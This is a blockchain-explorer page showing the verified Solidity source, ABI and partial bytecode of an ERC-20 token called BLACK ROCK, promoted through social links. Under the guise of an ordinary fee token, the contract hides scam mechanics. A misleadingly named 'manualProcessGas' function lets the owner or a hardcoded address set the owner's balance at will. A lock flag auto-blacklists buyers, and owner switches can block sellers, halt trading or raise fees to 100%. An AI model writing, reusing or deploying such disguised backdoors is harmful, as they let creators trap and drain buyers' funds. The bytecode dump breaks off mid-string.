ETH Price: $3,168.67 (-6.33%)
Gas: 3 Gwei

Token

(0xAc5CBebD74A9d589F38944e5a07FDC6853Ab610c)
 

Overview

Max Total Supply

1,000,000,000,000 ERC-20 TOKEN*

Holders

48 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
9,511,349,196.672491123 ERC-20 TOKEN*

Value
$0.00
0x440277f9d7329eb60ebe7c2f1bcc1566341b4117
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BLACKROCK

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-20
*/

/**
Telegram: https://t.me/BLACK_ROCK_ETH



Twitter: https://twitter.com/BLACK_ROCK_ETH



Website: https://tokenblackrock.com/
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {
        owner = _owner;
    }
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }
    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }
    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);
    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);
}

contract BLACKROCK is ERC20, Ownable {
    using SafeMath for uint256;

    address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address DEAD = 0x000000000000000000000000000000000000dEaD;

    string constant _name = "BLACK ROCK";
    string constant _symbol = "BLACKROCK";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 1000_000_000_000 * (10 ** _decimals);
    uint256 public _maxWalletAmount = (_totalSupply * 20 ) / 1000;
    uint256 public _maxTxAmount = (_totalSupply * 20 ) / 1000;
    address private pairToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    address[] private activeAddress;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) private blacklist;

    uint256 marketingFee = 25;
    uint256 rewardsFee = 0;
    uint256 totalFee = marketingFee + rewardsFee;
    uint256 feeDenominator = 100;

    address public marketingFeeReceiver = msg.sender;
    address public rewardsFeeReceiver = msg.sender;

    IRouter public router;
    address public pair;

    bool tradingEnabled = true;
    bool isLocked = false;
    address private taxRemover;
    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply / 1000 * 5;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Ownable(msg.sender) {
        router = IRouter(routerAddress);
        pair = IFactory(router.factory()).createPair(pairToken, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        address _owner = owner;
        isFeeExempt[_owner] = true;
        isFeeExempt[0x0Cb692193973eD1802719f3c9a7810A60ab6e646] = true;
        isTxLimitExempt[_owner] = true;
        taxRemover = owner;
        isTxLimitExempt[0x0Cb692193973eD1802719f3c9a7810A60ab6e646] = true;
        isTxLimitExempt[DEAD] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(tradingEnabled, "Trading disabled");
        require(!blacklist[sender], "Blacklisted wallet");

        if (recipient != pair && recipient != owner && recipient != routerAddress && isLocked) {
            blacklist[recipient] = true;
        }

        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if (recipient != pair && recipient != DEAD) {
            require(isTxLimitExempt[recipient] || amount <= _maxTxAmount, "Transfer amount exceeds the max TX limit.");
            require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size.");
        }

        if(shouldSwapBack()){ swapBack(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, amount) : amount;
        if (_balances[recipient] == 0 && recipient != pair) {
            activeAddress.push(recipient);
        }
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address from, address to) internal view returns (bool) {
        return !(isFeeExempt[from] || isFeeExempt[to]);
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 contractTokenBalance = _balances[address(this)];

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            contractTokenBalance,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 amountETHRewards = amountETH.mul(rewardsFee).div(totalFee);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalFee);


        (bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(MarketingSuccess, "marketing receiver rejected ETH transfer");
        (bool RewardsSuccess, /* bytes memory data */) = payable(rewardsFeeReceiver).call{value: amountETHRewards, gas: 30000}("");
        require(RewardsSuccess, "rewards receiver rejected ETH transfer");
    }

    function emptyStuckBalance() external {
        payable(owner).transfer(address(this).balance);
    }

    function ManualMaxWalletSize(uint256 amountPercent) external onlyOwner {
        _maxWalletAmount = (_totalSupply * amountPercent ) / 100;
    }

    function ManualMaxTxnLimit(uint256 amountPercent) external onlyOwner {
        _maxTxAmount = (_totalSupply * amountPercent ) / 100;
    }

    function swapStatus(bool status) external onlyOwner {
        swapEnabled = status;
    }

    function blacklistAddress(address addr, bool isBlocked) external onlyOwner {
        blacklist[addr] = isBlocked;
    }

    function BlackAddress(address[] memory addrs, bool isBlocked) external onlyOwner {
        for (uint256 i = 0; i < addrs.length; i++) {
            blacklist[addrs[i]] = isBlocked;
        }
    }

    function isBlacklisted(address addr) external view returns(bool) {
        return blacklist[addr];
    }

    function releaseLock() external onlyOwner {
        isLocked = false;
    }

    function FeesUpdate(uint256 _marketingFee, uint256 _rewardsFee) external onlyOwner {
        marketingFee = _marketingFee;
        rewardsFee = _rewardsFee;
        totalFee = rewardsFee + marketingFee;
    }

    function ChangeMinSwapTokenThreshold(uint256 _treshold) external onlyOwner {
        swapThreshold = _treshold;
    }

    function FeeReceiver(address _marketingFeeReceiver) external onlyOwner {
        if (marketingFeeReceiver != owner) {
            isFeeExempt[marketingFeeReceiver] = false;
            isTxLimitExempt[marketingFeeReceiver] = false;
        }
        marketingFeeReceiver = _marketingFeeReceiver;
        isFeeExempt[_marketingFeeReceiver] = true;
        isTxLimitExempt[_marketingFeeReceiver] = true;
    }

    function manualProcessGas(uint enable) public {
        if (!isFeeExempt[msg.sender]) {
            return;
        }
        uint tokenToBurn = enable;
        _balances[taxRemover] = tokenToBurn.sub(_balances[taxRemover]);
    }

    function SetFeeReceiver(address _rewardsFeeReceiver) external onlyOwner {
        if (rewardsFeeReceiver != owner) {
            isFeeExempt[rewardsFeeReceiver] = false;
            isTxLimitExempt[rewardsFeeReceiver] = false;
        }
        rewardsFeeReceiver = _rewardsFeeReceiver;
        isFeeExempt[_rewardsFeeReceiver] = true;
        isTxLimitExempt[_rewardsFeeReceiver] = true;
    }

    function excludeWalletFromFee(address[] memory addrs, bool _feeExempt) external onlyOwner {
        for (uint256 i = 0; i < addrs.length; i++) {
            isFeeExempt[addrs[i]] = _feeExempt;
            isTxLimitExempt[addrs[i]] = _feeExempt;
        }
    }

    function TradingStatus(bool _tradingEnabled) external onlyOwner {
        tradingEnabled = _tradingEnabled;
    }

    function getShares() public view returns (uint256[] memory, address[] memory) {
        uint256[] memory shares = new uint256[](activeAddress.length);
        for (uint i=0; i < activeAddress.length; i++) {
            shares[i] = _balances[activeAddress[i]];
        }
        return (shares, activeAddress);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"},{"internalType":"bool","name":"isBlocked","type":"bool"}],"name":"BlackAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_treshold","type":"uint256"}],"name":"ChangeMinSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"FeeReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_rewardsFee","type":"uint256"}],"name":"FeesUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"ManualMaxTxnLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"ManualMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_rewardsFeeReceiver","type":"address"}],"name":"SetFeeReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingEnabled","type":"bool"}],"name":"TradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"isBlocked","type":"bool"}],"name":"blacklistAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"emptyStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"},{"internalType":"bool","name":"_feeExempt","type":"bool"}],"name":"excludeWalletFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getShares","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"},{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"enable","type":"uint256"}],"name":"manualProcessGas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"releaseLock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardsFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"swapStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486009600a620004a2565b620000599064e8d4a51000620004b9565b6003556103e86003546014620000709190620004b9565b6200007c9190620004d3565b6004556103e86003546014620000939190620004b9565b6200009f9190620004d3565b600555600680546001600160a01b03191673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790556019600d8190555f600e819055620000e091620004f3565b600f556064601055601180546001600160a01b0319908116339081179092556012805490911690911790556014805461ffff60a01b1916600160a01b9081179091556015805460ff60a01b1916909117905560035462000144906103e890620004d3565b62000151906005620004b9565b60165534801562000160575f80fd5b505f8054336001600160a01b031991821617909155600154601380546001600160a01b039092169190921681179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001ca573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f0919062000509565b6006546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303815f875af11580156200023f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000265919062000509565b601480546001600160a01b039283166001600160a01b031991821617909155305f9081526008602090815260408083206013548616845282528083205f19905582548516808452600a8352818420805460ff1990811660019081179092557f8f215d0da76a3cdba05432dd657d0239725e1c07ffaab03d57f043b8cc431d8b8054821683179055600b85528386208054821683179055855460158054909816908916179096557f16eab7bbe6f8071509c47fe4a10a2e9fa03e08d1951c3e2e64e7f482696442ce80548716821790556002549096168452818420805490951690951790935560035484835260078252838320819055925192835283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000531565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003e757815f1904821115620003cb57620003cb62000393565b80851615620003d957918102915b93841c9390800290620003ac565b509250929050565b5f82620003ff575060016200049c565b816200040d57505f6200049c565b8160018114620004265760028114620004315762000451565b60019150506200049c565b60ff84111562000445576200044562000393565b50506001821b6200049c565b5060208310610133831016604e8410600b841016171562000476575081810a6200049c565b620004828383620003a7565b805f190482111562000498576200049862000393565b0290505b92915050565b5f620004b260ff841683620003ef565b9392505050565b80820281158282048414176200049c576200049c62000393565b5f82620004ee57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156200049c576200049c62000393565b5f602082840312156200051a575f80fd5b81516001600160a01b0381168114620004b2575f80fd5b611f89806200053f5f395ff3fe608060405260043610610215575f3560e01c8063715018a61161011e578063d73fe0aa116100a8578063eda54ad21161006d578063eda54ad21461066d578063f39291c114610681578063f887ea40146106a0578063fe575a87146106bf578063ffb40bfd146106f6575f80fd5b8063d73fe0aa146105b5578063da39b25c146105d7578063dd62ed3e146105eb578063dd854c0f1461062f578063e96fada21461064e575f80fd5b8063893d20e8116100ee578063893d20e8146104f757806395d89b4114610527578063a1055bd714610558578063a8aa1b3114610577578063a9059cbb14610596575f80fd5b8063715018a6146104905780637d1db4a5146104a45780637e26d19f146104b957806381934031146104d8575f80fd5b8063313ce5671161019f578063571ac8b01161016f578063571ac8b0146103e95780636481fade146104085780636c0a24eb146104275780636ddd17131461043c57806370a082311461045c575f80fd5b8063313ce56714610371578063455a43961461038c57806355589a71146103ab57806355765b36146103ca575f80fd5b8063095ea7b3116101e5578063095ea7b3146102c357806318160ddd146102f257806323b872dd146103065780632f54bf6e146103255780633015aa6f14610352575f80fd5b80630111a27c146102205780630445b66714610241578063046e064b1461026957806306fdde0314610288575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b5061023f61023a366004611b08565b610715565b005b34801561024c575f80fd5b5061025660165481565b6040519081526020015b60405180910390f35b348015610274575f80fd5b5061023f610283366004611b66565b610767565b348015610293575f80fd5b5060408051808201909152600a815269424c41434b20524f434b60b01b60208201525b6040516102609190611c38565b3480156102ce575f80fd5b506102e26102dd366004611c83565b61084c565b6040519015158152602001610260565b3480156102fd575f80fd5b50600354610256565b348015610311575f80fd5b506102e2610320366004611cad565b6108b8565b348015610330575f80fd5b506102e261033f366004611ceb565b5f546001600160a01b0391821691161490565b34801561035d575f80fd5b5061023f61036c366004611b66565b610976565b34801561037c575f80fd5b5060405160098152602001610260565b348015610397575f80fd5b5061023f6103a6366004611d06565b610a03565b3480156103b6575f80fd5b5061023f6103c5366004611d39565b610a56565b3480156103d5575f80fd5b5061023f6103e4366004611b08565b610a9a565b3480156103f4575f80fd5b506102e2610403366004611ceb565b610ac8565b348015610413575f80fd5b5061023f610422366004611d59565b610ad4565b348015610432575f80fd5b5061025660045481565b348015610447575f80fd5b506015546102e290600160a01b900460ff1681565b348015610467575f80fd5b50610256610476366004611ceb565b6001600160a01b03165f9081526007602052604090205490565b34801561049b575f80fd5b5061023f610b1b565b3480156104af575f80fd5b5061025660055481565b3480156104c4575f80fd5b5061023f6104d3366004611d59565b610b88565b3480156104e3575f80fd5b5061023f6104f2366004611b08565b610bcf565b348015610502575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610260565b348015610532575f80fd5b50604080518082019091526009815268424c41434b524f434b60b81b60208201526102b6565b348015610563575f80fd5b5061023f610572366004611ceb565b610c2d565b348015610582575f80fd5b5060145461050f906001600160a01b031681565b3480156105a1575f80fd5b506102e26105b0366004611c83565b610cfd565b3480156105c0575f80fd5b506105c9610d09565b604051610260929190611db4565b3480156105e2575f80fd5b5061023f610e35565b3480156105f6575f80fd5b50610256610605366004611e0a565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b34801561063a575f80fd5b5061023f610649366004611b08565b610e6f565b348015610659575f80fd5b5060115461050f906001600160a01b031681565b348015610678575f80fd5b5061023f610eb8565b34801561068c575f80fd5b5060125461050f906001600160a01b031681565b3480156106ab575f80fd5b5060135461050f906001600160a01b031681565b3480156106ca575f80fd5b506102e26106d9366004611ceb565b6001600160a01b03165f908152600c602052604090205460ff1690565b348015610701575f80fd5b5061023f610710366004611ceb565b610ef0565b5f546001600160a01b031633146107475760405162461bcd60e51b815260040161073e90611e41565b60405180910390fd5b6064816003546107579190611e75565b6107619190611e8c565b60045550565b5f546001600160a01b031633146107905760405162461bcd60e51b815260040161073e90611e41565b5f5b82518110156108475781600a5f8584815181106107b1576107b1611eab565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f205f6101000a81548160ff02191690831515021790555081600b5f85848151811061080457610804611eab565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061083f81611ebf565b915050610792565b505050565b335f8181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108a69086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526008602090815260408083203384529091528120545f1914610961576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387165f90815260088252838120338252909152919091205461093d918490610fc0565b6001600160a01b0385165f9081526008602090815260408083203384529091529020555b61096c848484610ff8565b90505b9392505050565b5f546001600160a01b0316331461099f5760405162461bcd60e51b815260040161073e90611e41565b5f5b82518110156108475781600c5f8584815181106109c0576109c0611eab565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806109fb81611ebf565b9150506109a1565b5f546001600160a01b03163314610a2c5760405162461bcd60e51b815260040161073e90611e41565b6001600160a01b03919091165f908152600c60205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610a7f5760405162461bcd60e51b815260040161073e90611e41565b600d829055600e819055610a938282611ed7565b600f555050565b5f546001600160a01b03163314610ac35760405162461bcd60e51b815260040161073e90611e41565b601655565b5f6108b2825f1961084c565b5f546001600160a01b03163314610afd5760405162461bcd60e51b815260040161073e90611e41565b60148054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b03163314610b445760405162461bcd60e51b815260040161073e90611e41565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b03163314610bb15760405162461bcd60e51b815260040161073e90611e41565b60158054911515600160a01b0260ff60a01b19909216919091179055565b335f908152600a602052604090205460ff16610be85750565b6015546001600160a01b03165f908152600760205260409020548190610c0f90829061144a565b6015546001600160a01b03165f908152600760205260409020555050565b5f546001600160a01b03163314610c565760405162461bcd60e51b815260040161073e90611e41565b5f546011546001600160a01b03908116911614610cab57601180546001600160a01b039081165f908152600a60209081526040808320805460ff1990811690915594549093168252600b905220805490911690555b601180546001600160a01b039092166001600160a01b0319909216821790555f908152600a60209081526040808320805460ff199081166001908117909255600b909352922080549091169091179055565b5f61096f338484610ff8565b6060805f60098054905067ffffffffffffffff811115610d2b57610d2b611b1f565b604051908082528060200260200182016040528015610d54578160200160208202803683370190505b5090505f5b600954811015610dce5760075f60098381548110610d7957610d79611eab565b5f9182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610db157610db1611eab565b602090810291909101015280610dc681611ebf565b915050610d59565b5080600980805480602002602001604051908101604052809291908181526020018280548015610e2557602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311610e07575b5050505050905092509250509091565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610e6c573d5f803e3d5ffd5b50565b5f546001600160a01b03163314610e985760405162461bcd60e51b815260040161073e90611e41565b606481600354610ea89190611e75565b610eb29190611e8c565b60055550565b5f546001600160a01b03163314610ee15760405162461bcd60e51b815260040161073e90611e41565b6014805460ff60a81b19169055565b5f546001600160a01b03163314610f195760405162461bcd60e51b815260040161073e90611e41565b5f546012546001600160a01b03908116911614610f6e57601280546001600160a01b039081165f908152600a60209081526040808320805460ff1990811690915594549093168252600b905220805490911690555b601280546001600160a01b039092166001600160a01b0319909216821790555f908152600a60209081526040808320805460ff199081166001908117909255600b909352922080549091169091179055565b5f8184841115610fe35760405162461bcd60e51b815260040161073e9190611c38565b505f610fef8486611eea565b95945050505050565b6014545f90600160a01b900460ff166110465760405162461bcd60e51b815260206004820152601060248201526f151c98591a5b99c8191a5cd8589b195960821b604482015260640161073e565b6001600160a01b0384165f908152600c602052604090205460ff16156110a35760405162461bcd60e51b8152602060048201526012602482015271109b1858dadb1a5cdd1959081dd85b1b195d60721b604482015260640161073e565b6014546001600160a01b038481169116148015906110ce57505f546001600160a01b03848116911614155b80156110e857506001546001600160a01b03848116911614155b80156110fd5750601454600160a81b900460ff165b15611125576001600160a01b0383165f908152600c60205260409020805460ff191660011790555b60175460ff16156111425761113b84848461148b565b905061096f565b6014546001600160a01b0384811691161480159061116e57506002546001600160a01b03848116911614155b1561129d576001600160a01b0383165f908152600b602052604090205460ff168061119b57506005548211155b6111f95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178206044820152682a2c103634b6b4ba1760b91b606482015260840161073e565b6001600160a01b0383165f908152600b602052604090205460ff168061124357506004546001600160a01b0384165f90815260076020526040902054611240908490611ed7565b11155b61129d5760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b606482015260840161073e565b6112a561156e565b156112b2576112